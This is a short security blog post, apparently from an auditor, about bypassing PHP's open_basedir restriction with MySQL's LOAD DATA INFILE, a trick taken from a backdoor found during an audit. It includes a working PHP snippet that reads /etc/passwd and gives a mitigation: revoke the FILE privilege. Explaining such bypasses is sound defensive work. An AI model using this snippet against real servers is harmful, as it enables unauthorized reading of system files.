Bypassing PHP’s open_basedir with MySQL
PHP feature open_basedir is supposed to limit the files that can be opened by PHP to a specified directory-tree (full doc is here). Functions like fopen or file_get_contents will returns an error if the file is outside the allowed directory. So far, it sounds like a good protection.
However, it is also very famous for being flawed by design and easy to violate (like safe_mode by the way). Well, until now I didn’t realize how easy it is indeed to bypass it. During a security audit, I add the opportunity to study a backdoor left here by some script kiddie (thanks to an outdated version of a web application). Here is just one interesting example that uses MySQL:
- create a temporary table
- use MySQL’s command
LOAD DATA INFILEto read any file and load is content to the table - select the content of the table
In clean PHP, the code would looks like:
$filename = '/etc/passwd';
$pdo = new PDO($dsn, $username, $password);
$pdo->exec('CREATE TEMPORARY TABLE tmp_file ( content LONGBLOB NOT NULL)');
$pdo->exec(sprintf(
'LOAD DATA INFILE %s INTO TABLE tmp_file',
$pdo->quote($filename)
));
$content = $pdo->query('SELECT * FROM tmp_file')->fetchAll(PDO::FETCH_COLUMN);
To prevent that exploit in particular, it’s easy: just make sure that the MySQL’s user doesn’t have the FILE privilege. But open_basedir is definitely not safe. As seen in Debian’s php.ini default file: This is considered a “broken” security measure. Applications relying on this feature will not recieve full support by the security team…